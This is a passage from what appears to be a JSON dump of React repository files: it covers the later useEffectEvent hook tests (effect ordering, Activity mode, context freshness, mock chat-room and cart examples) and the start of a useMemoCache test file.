25\" />\n      </>,\n    );\n  });\n\n  it('does not preserve `this` in event functions', async () => {\n    class GreetButton extends React.PureComponent {\n      greet = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text={'Say ' + this.props.hello} />;\n      }\n    }\n    function Greeter({hello}) {\n      const person = {\n        toString() {\n          return 'Jane';\n        },\n        greet() {\n          return updateGreeting(this + ' says ' + hello);\n        },\n      };\n      const [greeting, updateGreeting] = useState('Seb says ' + hello);\n      const onClick = useEffectEvent(person.greet);\n\n      return (\n        <>\n          <GreetButton hello={hello} onClick={() => onClick()} ref={button} />\n          <Text text={'Greeting: ' + greeting} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Greeter hello={'hej'} />);\n    await waitForAll(['Say hej', 'Greeting: Seb says hej']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Say hej\" />\n        <span prop=\"Greeting: Seb says hej\" />\n      </>,\n    );\n\n    await act(() => button.current.greet());\n    assertLog(['Say hej', 'Greeting: undefined says hej']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Say hej\" />\n        <span prop=\"Greeting: undefined says hej\" />\n      </>,\n    );\n  });\n\n  it('throws when called in render', async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n\n      render() {\n        // Will throw.\n        this.props.onClick();\n\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function Counter({incrementBy}) {\n      const [count, updateCount] = useState(0);\n      const onClick = useEffectEvent(() => updateCount(c => c + incrementBy));\n\n      return (\n        <>\n          <IncrementButton onClick={() => onClick()} />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    ReactNoop.render(<Counter incrementBy={1} />);\n    await waitForThrow(\n      \"A function wrapped in useEffectEvent can't be called during rendering.\",\n    );\n    assertLog([]);\n  });\n\n  it(\"useLayoutEffect shouldn't re-fire when event handlers change\", async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function Counter({incrementBy}) {\n      const [count, updateCount] = useState(0);\n      const increment = useEffectEvent(amount =>\n        updateCount(c => c + (amount || incrementBy)),\n      );\n\n      useLayoutEffect(() => {\n        Scheduler.log('Effect: by ' + incrementBy * 2);\n        increment(incrementBy * 2);\n      }, [incrementBy]);\n\n      return (\n        <>\n          <IncrementButton onClick={() => increment()} ref={button} />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Counter incrementBy={1} />);\n    assertLog([]);\n    await waitForAll([\n      'Increment',\n      'Count: 0',\n      'Effect: by 2',\n      'Increment',\n      'Count: 2',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 2\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Effect should not re-run because the dependency hasn't changed.\n      'Count: 3',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 3\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Event should use the updated callback function closed over the new value.\n      'Count: 4',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 4\" />\n      </>,\n    );\n\n    // Increase the increment prop amount\n    ReactNoop.render(<Counter incrementBy={10} />);\n    await waitForAll([\n      'Increment',\n      'Count: 4',\n      'Effect: by 20',\n      'Increment',\n      'Count: 24',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 24\" />\n      </>,\n    );\n\n    // Event uses the new prop\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 34']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 34\" />\n      </>,\n    );\n  });\n\n  it(\"useEffect shouldn't re-fire when event handlers change\", async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function Counter({incrementBy}) {\n      const [count, updateCount] = useState(0);\n      const increment = useEffectEvent(amount =>\n        updateCount(c => c + (amount || incrementBy)),\n      );\n\n      useEffect(() => {\n        Scheduler.log('Effect: by ' + incrementBy * 2);\n        increment(incrementBy * 2);\n      }, [incrementBy]);\n\n      return (\n        <>\n          <IncrementButton onClick={() => increment()} ref={button} />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Counter incrementBy={1} />);\n    await waitForAll([\n      'Increment',\n      'Count: 0',\n      'Effect: by 2',\n      'Increment',\n      'Count: 2',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 2\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Effect should not re-run because the dependency hasn't changed.\n      'Count: 3',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 3\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Event should use the updated callback function closed over the new value.\n      'Count: 4',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 4\" />\n      </>,\n    );\n\n    // Increase the increment prop amount\n    ReactNoop.render(<Counter incrementBy={10} />);\n    await waitForAll([\n      'Increment',\n      'Count: 4',\n      'Effect: by 20',\n      'Increment',\n      'Count: 24',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 24\" />\n      </>,\n    );\n\n    // Event uses the new prop\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 34']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 34\" />\n      </>,\n    );\n  });\n\n  it('is stable in a custom hook', async () => {\n    class IncrementButton extends React.PureComponent {\n      increment = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text=\"Increment\" />;\n      }\n    }\n\n    function useCount(incrementBy) {\n      const [count, updateCount] = useState(0);\n      const increment = useEffectEvent(amount =>\n        updateCount(c => c + (amount || incrementBy)),\n      );\n\n      return [count, increment];\n    }\n\n    function Counter({incrementBy}) {\n      const [count, increment] = useCount(incrementBy);\n\n      useEffect(() => {\n        Scheduler.log('Effect: by ' + incrementBy * 2);\n        increment(incrementBy * 2);\n      }, [incrementBy]);\n\n      return (\n        <>\n          <IncrementButton onClick={() => increment()} ref={button} />\n          <Text text={'Count: ' + count} />\n        </>\n      );\n    }\n\n    const button = React.createRef(null);\n    ReactNoop.render(<Counter incrementBy={1} />);\n    await waitForAll([\n      'Increment',\n      'Count: 0',\n      'Effect: by 2',\n      'Increment',\n      'Count: 2',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 2\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Effect should not re-run because the dependency hasn't changed.\n      'Count: 3',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 3\" />\n      </>,\n    );\n\n    await act(() => button.current.increment());\n    assertLog([\n      'Increment',\n      // Event should use the updated callback function closed over the new value.\n      'Count: 4',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 4\" />\n      </>,\n    );\n\n    // Increase the increment prop amount\n    ReactNoop.render(<Counter incrementBy={10} />);\n    await waitForAll([\n      'Increment',\n      'Count: 4',\n      'Effect: by 20',\n      'Increment',\n      'Count: 24',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 24\" />\n      </>,\n    );\n\n    // Event uses the new prop\n    await act(() => button.current.increment());\n    assertLog(['Increment', 'Count: 34']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Increment\" />\n        <span prop=\"Count: 34\" />\n      </>,\n    );\n  });\n\n  it('is mutated before all other effects', async () => {\n    function Counter({value}) {\n      useInsertionEffect(() => {\n        Scheduler.log('Effect value: ' + value);\n        increment();\n      }, [value]);\n\n      // This is defined after the insertion effect, but it should\n      // update the event fn _before_ the insertion effect fires.\n      const increment = useEffectEvent(() => {\n        Scheduler.log('Event value: ' + value);\n      });\n\n      return <></>;\n    }\n\n    ReactNoop.render(<Counter value={1} />);\n    await waitForAll(['Effect value: 1', 'Event value: 1']);\n\n    await act(() => ReactNoop.render(<Counter value={2} />));\n    assertLog(['Effect value: 2', 'Event value: 2']);\n  });\n\n  it('fires all (interleaved) effects with useEffectEvent in correct order', async () => {\n    function CounterA({count}) {\n      const onEvent = useEffectEvent(() => {\n        return `A ${count}`;\n      });\n\n      useInsertionEffect(() => {\n        // Call the event function to verify it sees the latest value\n        Scheduler.log(`Parent Insertion Create: ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Parent Insertion Create: ${onEvent()}`);\n        };\n      });\n\n      useLayoutEffect(() => {\n        Scheduler.log(`Parent Layout Create: ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Parent Layout Cleanup: ${onEvent()}`);\n        };\n      });\n\n      useEffect(() => {\n        Scheduler.log(`Parent Passive Create: ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Parent Passive Destroy ${onEvent()}`);\n        };\n      });\n\n      // this breaks the rules, but ensures the ordering is correct.\n      return <CounterB count={count} onEventParent={onEvent} />;\n    }\n\n    function CounterB({count, onEventParent}) {\n      const onEvent = useEffectEvent(() => {\n        return `${onEventParent()} B ${count}`;\n      });\n\n      useInsertionEffect(() => {\n        Scheduler.log(`Child Insertion Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Insertion Destroy ${onEvent()}`);\n        };\n      });\n\n      useLayoutEffect(() => {\n        Scheduler.log(`Child Layout Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Layout Destroy ${onEvent()}`);\n        };\n      });\n\n      useEffect(() => {\n        Scheduler.log(`Child Passive Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Passive Destroy ${onEvent()}`);\n        };\n      });\n\n      return null;\n    }\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={1} />);\n    });\n\n    assertLog([\n      'Child Insertion Create A 1 B 1',\n      'Parent Insertion Create: A 1',\n      'Child Layout Create A 1 B 1',\n      'Parent Layout Create: A 1',\n      'Child Passive Create A 1 B 1',\n      'Parent Passive Create: A 1',\n    ]);\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={2} />);\n    });\n\n    assertLog([\n      'Child Insertion Destroy A 2 B 2',\n      'Child Insertion Create A 2 B 2',\n      'Child Layout Destroy A 2 B 2',\n      'Parent Insertion Create: A 2',\n      'Parent Insertion Create: A 2',\n      'Parent Layout Cleanup: A 2',\n      'Child Layout Create A 2 B 2',\n      'Parent Layout Create: A 2',\n      'Child Passive Destroy A 2 B 2',\n      'Parent Passive Destroy A 2',\n      'Child Passive Create A 2 B 2',\n      'Parent Passive Create: A 2',\n    ]);\n\n    // Unmount everything\n    await act(async () => {\n      ReactNoop.render(null);\n    });\n\n    assertLog([\n      'Parent Insertion Create: A 2',\n      'Parent Layout Cleanup: A 2',\n      'Child Insertion Destroy A 2 B 2',\n      'Child Layout Destroy A 2 B 2',\n      'Parent Passive Destroy A 2',\n      'Child Passive Destroy A 2 B 2',\n    ]);\n  });\n\n  it('correctly mutates effect event with Activity', async () => {\n    let setState;\n    let setChildState;\n    function CounterA({count, hideChild}) {\n      const [state, _setState] = useState(1);\n      setState = _setState;\n      const onEvent = useEffectEvent(() => {\n        return `A ${count} ${state}`;\n      });\n\n      useInsertionEffect(() => {\n        // Call the event function to verify it sees the latest value\n        Scheduler.log(`Parent Insertion Create: ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Parent Insertion Create: ${onEvent()}`);\n        };\n      });\n\n      useLayoutEffect(() => {\n        Scheduler.log(`Parent Layout Create: ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Parent Layout Cleanup: ${onEvent()}`);\n        };\n      });\n\n      // this breaks the rules, but ensures the ordering is correct.\n      return (\n        <React.Activity mode={hideChild ? 'hidden' : 'visible'}>\n          <CounterB count={count} state={state} onEventParent={onEvent} />\n        </React.Activity>\n      );\n    }\n\n    function CounterB({count, state, onEventParent}) {\n      const [childState, _setChildState] = useState(1);\n      setChildState = _setChildState;\n      const onEvent = useEffectEvent(() => {\n        return `${onEventParent()} B ${count} ${state} ${childState}`;\n      });\n\n      useInsertionEffect(() => {\n        Scheduler.log(`Child Insertion Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Insertion Destroy ${onEvent()}`);\n        };\n      });\n\n      useLayoutEffect(() => {\n        Scheduler.log(`Child Layout Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Layout Destroy ${onEvent()}`);\n        };\n      });\n\n      useEffect(() => {\n        Scheduler.log(`Child Passive Create ${onEvent()}`);\n        return () => {\n          Scheduler.log(`Child Passive Destroy ${onEvent()}`);\n        };\n      });\n\n      return null;\n    }\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={1} hideChild={true} />);\n      await waitFor([\n        'Parent Insertion Create: A 1 1',\n        'Parent Layout Create: A 1 1',\n        'Child Insertion Create A 1 1 B 1 1 1',\n      ]);\n    });\n\n    assertLog([]);\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={2} hideChild={true} />);\n\n      await waitFor([\n        'Parent Insertion Create: A 2 1',\n        'Parent Insertion Create: A 2 1',\n        'Parent Layout Cleanup: A 2 1',\n        'Parent Layout Create: A 2 1',\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? [\n              'Child Insertion Destroy A 2 1 B 1 1 1',\n              'Child Insertion Create A 2 1 B 1 1 1',\n            ]\n          : [\n              'Child Insertion Destroy A 2 1 B 2 1 1',\n              'Child Insertion Create A 2 1 B 2 1 1',\n            ]),\n      ]);\n    });\n\n    assertLog([]);\n\n    await act(async () => {\n      setState(2);\n\n      await waitFor([\n        'Parent Insertion Create: A 2 2',\n        'Parent Insertion Create: A 2 2',\n        'Parent Layout Cleanup: A 2 2',\n        'Parent Layout Create: A 2 2',\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? [\n              'Child Insertion Destroy A 2 2 B 1 1 1',\n              'Child Insertion Create A 2 2 B 1 1 1',\n            ]\n          : [\n              'Child Insertion Destroy A 2 2 B 2 2 1',\n              'Child Insertion Create A 2 2 B 2 2 1',\n            ]),\n      ]);\n    });\n\n    assertLog([]);\n\n    await act(async () => {\n      setChildState(2);\n\n      await waitFor(\n        gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')\n          ? [\n              'Child Insertion Destroy A 2 2 B 1 1 1',\n              'Child Insertion Create A 2 2 B 1 1 1',\n            ]\n          : [\n              'Child Insertion Destroy A 2 2 B 2 2 2',\n              'Child Insertion Create A 2 2 B 2 2 2',\n            ],\n      );\n    });\n\n    assertLog([]);\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={3} hideChild={true} />);\n\n      await waitFor([\n        'Parent Insertion Create: A 3 2',\n        'Parent Insertion Create: A 3 2',\n        'Parent Layout Cleanup: A 3 2',\n        'Parent Layout Create: A 3 2',\n      ]);\n    });\n\n    assertLog(\n      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')\n        ? [\n            'Child Insertion Destroy A 3 2 B 1 1 1',\n            'Child Insertion Create A 3 2 B 1 1 1',\n          ]\n        : [\n            'Child Insertion Destroy A 3 2 B 3 2 2',\n            'Child Insertion Create A 3 2 B 3 2 2',\n          ],\n    );\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={3} hideChild={false} />);\n\n      await waitFor([\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? [\n              'Child Insertion Destroy A 3 2 B 1 1 1',\n              'Child Insertion Create A 3 2 B 1 1 1',\n            ]\n          : [\n              'Child Insertion Destroy A 3 2 B 3 2 2',\n              'Child Insertion Create A 3 2 B 3 2 2',\n            ]),\n        'Parent Insertion Create: A 3 2',\n        'Parent Insertion Create: A 3 2',\n        'Parent Layout Cleanup: A 3 2',\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? ['Child Layout Create A 3 2 B 1 1 1']\n          : ['Child Layout Create A 3 2 B 3 2 2']),\n\n        'Parent Layout Create: A 3 2',\n      ]);\n    });\n\n    assertLog(\n      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')\n        ? ['Child Passive Create A 3 2 B 1 1 1']\n        : ['Child Passive Create A 3 2 B 3 2 2'],\n    );\n\n    await act(async () => {\n      ReactNoop.render(<CounterA count={3} hideChild={true} />);\n\n      await waitFor([\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? ['Child Layout Destroy A 3 2 B 1 1 1']\n          : ['Child Layout Destroy A 3 2 B 3 2 2']),\n        'Parent Insertion Create: A 3 2',\n        'Parent Insertion Create: A 3 2',\n        'Parent Layout Cleanup: A 3 2',\n        'Parent Layout Create: A 3 2',\n        ...(gate('enableViewTransition') &&\n        !gate('enableEffectEventMutationPhase')\n          ? ['Child Passive Destroy A 3 2 B 1 1 1']\n          : ['Child Passive Destroy A 3 2 B 3 2 2']),\n      ]);\n    });\n\n    assertLog(\n      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')\n        ? [\n            'Child Insertion Destroy A 3 2 B 1 1 1',\n            'Child Insertion Create A 3 2 B 1 1 1',\n          ]\n        : [\n            'Child Insertion Destroy A 3 2 B 3 2 2',\n            'Child Insertion Create A 3 2 B 3 2 2',\n          ],\n    );\n\n    // Unmount everything\n    await act(async () => {\n      ReactNoop.render(null);\n    });\n\n    assertLog([\n      'Parent Insertion Create: A 3 2',\n      'Parent Layout Cleanup: A 3 2',\n      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')\n        ? 'Child Insertion Destroy A 3 2 B 1 1 1'\n        : 'Child Insertion Destroy A 3 2 B 3 2 2',\n    ]);\n  });\n\n  it(\"doesn't provide a stable identity\", async () => {\n    function Counter({shouldRender, value}) {\n      const onClick = useEffectEvent(() => {\n        Scheduler.log(\n          'onClick, shouldRender=' + shouldRender + ', value=' + value,\n        );\n      });\n\n      // onClick doesn't have a stable function identity so this effect will fire on every render.\n      // In a real app useEffectEvent functions should *not* be passed as a dependency, this is for\n      // testing purposes only.\n      useEffect(() => {\n        onClick();\n      }, [onClick]);\n\n      useEffect(() => {\n        onClick();\n      }, [shouldRender]);\n\n      return <></>;\n    }\n\n    ReactNoop.render(<Counter shouldRender={true} value={0} />);\n    await waitForAll([\n      'onClick, shouldRender=true, value=0',\n      'onClick, shouldRender=true, value=0',\n    ]);\n\n    ReactNoop.render(<Counter shouldRender={true} value={1} />);\n    await waitForAll(['onClick, shouldRender=true, value=1']);\n\n    ReactNoop.render(<Counter shouldRender={false} value={2} />);\n    await waitForAll([\n      'onClick, shouldRender=false, value=2',\n      'onClick, shouldRender=false, value=2',\n    ]);\n  });\n\n  it('event handlers always see the latest committed value', async () => {\n    let committedEventHandler = null;\n\n    function App({value}) {\n      const event = useEffectEvent(() => {\n        return 'Value seen by useEffectEvent: ' + value;\n      });\n\n      // Set up an effect that registers the event handler with an external\n      // event system (e.g. addEventListener).\n      useEffect(\n        () => {\n          // Log when the effect fires. In the test below, we'll assert that this\n          // only happens during initial render, not during updates.\n          Scheduler.log('Commit new event handler');\n          committedEventHandler = event;\n          return () => {\n            committedEventHandler = null;\n          };\n        },\n        // Note that we've intentionally omitted the event from the dependency\n        // array. But it will still be able to see the latest `value`. This is the\n        // key feature of useEffectEvent that makes it different from a regular closure.\n        [],\n      );\n      return 'Latest rendered value ' + value;\n    }\n\n    // Initial render\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App value={1} />);\n    });\n    assertLog(['Commit new event handler']);\n    expect(root).toMatchRenderedOutput('Latest rendered value 1');\n    expect(committedEventHandler()).toBe('Value seen by useEffectEvent: 1');\n\n    // Update\n    await act(() => {\n      root.render(<App value={2} />);\n    });\n    // No new event handler should be committed, because it was omitted from\n    // the dependency array.\n    assertLog([]);\n    // But the event handler should still be able to see the latest value.\n    expect(root).toMatchRenderedOutput('Latest rendered value 2');\n    expect(committedEventHandler()).toBe('Value seen by useEffectEvent: 2');\n  });\n\n  it('integration: implements docs chat room example', async () => {\n    function createConnection() {\n      let connectedCallback;\n      let timeout;\n      return {\n        connect() {\n          timeout = setTimeout(() => {\n            if (connectedCallback) {\n              connectedCallback();\n            }\n          }, 100);\n        },\n        on(event, callback) {\n          if (connectedCallback) {\n            throw Error('Cannot add the handler twice.');\n          }\n          if (event !== 'connected') {\n            throw Error('Only \"connected\" event is supported.');\n          }\n          connectedCallback = callback;\n        },\n        disconnect() {\n          clearTimeout(timeout);\n        },\n      };\n    }\n\n    function ChatRoom({roomId, theme}) {\n      const onConnected = useEffectEvent(() => {\n        Scheduler.log('Connected! theme: ' + theme);\n      });\n\n      useEffect(() => {\n        const connection = createConnection(roomId);\n        connection.on('connected', () => {\n          onConnected();\n        });\n        connection.connect();\n        return () => connection.disconnect();\n      }, [roomId]);\n\n      return <Text text={`Welcome to the ${roomId} room!`} />;\n    }\n\n    await act(() =>\n      ReactNoop.render(<ChatRoom roomId=\"general\" theme=\"light\" />),\n    );\n\n    assertLog(['Welcome to the general room!', 'Connected! theme: light']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Welcome to the general room!\" />,\n    );\n\n    // change roomId only\n    await act(() =>\n      ReactNoop.render(<ChatRoom roomId=\"music\" theme=\"light\" />),\n    );\n    assertLog([\n      'Welcome to the music room!',\n      // should trigger a reconnect\n      'Connected! theme: light',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Welcome to the music room!\" />,\n    );\n\n    // change theme only\n    await act(() => ReactNoop.render(<ChatRoom roomId=\"music\" theme=\"dark\" />));\n    // should not trigger a reconnect\n    assertLog(['Welcome to the music room!']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Welcome to the music room!\" />,\n    );\n\n    // change roomId only\n    await act(() =>\n      ReactNoop.render(<ChatRoom roomId=\"travel\" theme=\"dark\" />),\n    );\n    assertLog([\n      'Welcome to the travel room!',\n      // should trigger a reconnect\n      'Connected! theme: dark',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Welcome to the travel room!\" />,\n    );\n  });\n\n  it('integration: implements the docs logVisit example', async () => {\n    class AddToCartButton extends React.PureComponent {\n      addToCart = () => {\n        this.props.onClick();\n      };\n      render() {\n        return <Text text=\"Add to cart\" />;\n      }\n    }\n    const ShoppingCartContext = createContext(null);\n\n    function AppShell({children}) {\n      const [items, updateItems] = useState([]);\n      const value = useMemo(() => ({items, updateItems}), [items, updateItems]);\n\n      return (\n        <ShoppingCartContext.Provider value={value}>\n          {children}\n        </ShoppingCartContext.Provider>\n      );\n    }\n\n    function Page({url}) {\n      const {items, updateItems} = useContext(ShoppingCartContext);\n      const onClick = useEffectEvent(() => updateItems([...items, 1]));\n      const numberOfItems = items.length;\n\n      const onVisit = useEffectEvent(visitedUrl => {\n        Scheduler.log(\n          'url: ' + visitedUrl + ', numberOfItems: ' + numberOfItems,\n        );\n      });\n\n      useEffect(() => {\n        onVisit(url);\n      }, [url]);\n\n      return (\n        <AddToCartButton\n          onClick={() => {\n            onClick();\n          }}\n          ref={button}\n        />\n      );\n    }\n\n    const button = React.createRef(null);\n    await act(() =>\n      ReactNoop.render(\n        <AppShell>\n          <Page url=\"/shop/1\" />\n        </AppShell>,\n      ),\n    );\n    assertLog(['Add to cart', 'url: /shop/1, numberOfItems: 0']);\n    await act(() => button.current.addToCart());\n    assertLog(['Add to cart']);\n\n    await act(() =>\n      ReactNoop.render(\n        <AppShell>\n          <Page url=\"/shop/2\" />\n        </AppShell>,\n      ),\n    );\n    assertLog(['Add to cart', 'url: /shop/2, numberOfItems: 1']);\n  });\n\n  it('reads the latest context value in memo Components', async () => {\n    const MyContext = createContext('default');\n\n    let logContextValue;\n    const ContextReader = React.memo(function ContextReader() {\n      const value = useContext(MyContext);\n      Scheduler.log('ContextReader: ' + value);\n      const fireLogContextValue = useEffectEvent(() => {\n        Scheduler.log('ContextReader (Effect event): ' + value);\n      });\n      useEffect(() => {\n        logContextValue = fireLogContextValue;\n      }, []);\n      return null;\n    });\n\n    function App({value}) {\n      return (\n        <MyContext.Provider value={value}>\n          <ContextReader />\n        </MyContext.Provider>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App value=\"first\" />));\n    assertLog(['ContextReader: first']);\n\n    logContextValue();\n\n    assertLog(['ContextReader (Effect event): first']);\n\n    await act(() => root.render(<App value=\"second\" />));\n    assertLog(['ContextReader: second']);\n\n    logContextValue();\n    assertLog(['ContextReader (Effect event): second']);\n  });\n\n  it('reads the latest context value in forwardRef Components', async () => {\n    const MyContext = createContext('default');\n\n    let logContextValue;\n    const ContextReader = React.forwardRef(function ContextReader(props, ref) {\n      const value = useContext(MyContext);\n      Scheduler.log('ContextReader: ' + value);\n      const fireLogContextValue = useEffectEvent(() => {\n        Scheduler.log('ContextReader (Effect event): ' + value);\n      });\n      useEffect(() => {\n        logContextValue = fireLogContextValue;\n      }, []);\n      return null;\n    });\n\n    function App({value}) {\n      return (\n        <MyContext.Provider value={value}>\n          <ContextReader />\n        </MyContext.Provider>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => root.render(<App value=\"first\" />));\n    assertLog(['ContextReader: first']);\n\n    logContextValue();\n\n    assertLog(['ContextReader (Effect event): first']);\n\n    await act(() => root.render(<App value=\"second\" />));\n    assertLog(['ContextReader: second']);\n\n    logContextValue();\n    assertLog(['ContextReader (Effect event): second']);\n  });\n\n  // @gate enableActivity\n  it('effect events are fresh inside Activity', async () => {\n    function Child({value}) {\n      const getValue = useEffectEvent(() => {\n        return value;\n      });\n      useInsertionEffect(() => {\n        Scheduler.log('insertion create: ' + getValue());\n        return () => {\n          Scheduler.log('insertion destroy: ' + getValue());\n        };\n      });\n      useLayoutEffect(() => {\n        Scheduler.log('layout create: ' + getValue());\n        return () => {\n          Scheduler.log('layout destroy: ' + getValue());\n        };\n      });\n\n      Scheduler.log('render: ' + value);\n      return null;\n    }\n\n    function App({value, mode}) {\n      return (\n        <React.Activity mode={mode}>\n          <Child value={value} />\n        </React.Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Mount hidden\n    await act(async () => root.render(<App value={1} mode=\"hidden\" />));\n    assertLog(['render: 1', 'insertion create: 1']);\n\n    // Update, still hidden\n    await act(async () => root.render(<App value={2} mode=\"hidden\" />));\n\n    // Bug in enableViewTransition. Insertion and layout see stale closure.\n    assertLog([\n      'render: 2',\n      ...(gate('enableViewTransition') &&\n      !gate('enableEffectEventMutationPhase')\n        ? ['insertion destroy: 1', 'insertion create: 1']\n        : ['insertion destroy: 2', 'insertion create: 2']),\n    ]);\n\n    // Switch to visible\n    await act(async () => root.render(<App value={2} mode=\"visible\" />));\n\n    // Bug in enableViewTransition. Even when switching to visible, sees stale closure.\n    assertLog([\n      'render: 2',\n      ...(gate('enableViewTransition') &&\n      !gate('enableEffectEventMutationPhase')\n        ? ['insertion destroy: 1', 'insertion create: 1', 'layout create: 1']\n        : ['insertion destroy: 2', 'insertion create: 2', 'layout create: 2']),\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/useMemoCache-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertConsoleErrorDev;\nlet assertLog;\nlet useMemo;\nlet useState;\nlet useMemoCache;\nlet MemoCacheSentinel;\nlet ErrorBoundary;\n\ndescribe('useMemoCache()', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    assertLog = InternalTestUtils.assertLog;\n    useMemo = React.useMemo;\n    useMemoCache = require('react/compiler-runtime').c;\n    useState = React.useState;\n    MemoCacheSentinel = Symbol.for('react.memo_cache_sentinel');\n\n    class _ErrorBoundary extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {hasError: false};\n      }\n\n      static getDerivedStateFromError(error) {\n        // Update state so the next render will show the fallback UI.\n        return {hasError: true};\n      }\n\n      componentDidCatch(error, errorInfo) {}\n\n      render() {\n        if (this.state.hasError) {\n          // You can render any custom fallback UI\n          return <h1>Something went wrong.</h1>;\n        }\n\n        return this.props.children;\n      }\n    }\n    ErrorBoundary = _ErrorBoundary;\n  });\n\n  it('render component using cache', async () => {\n    function Component(props) 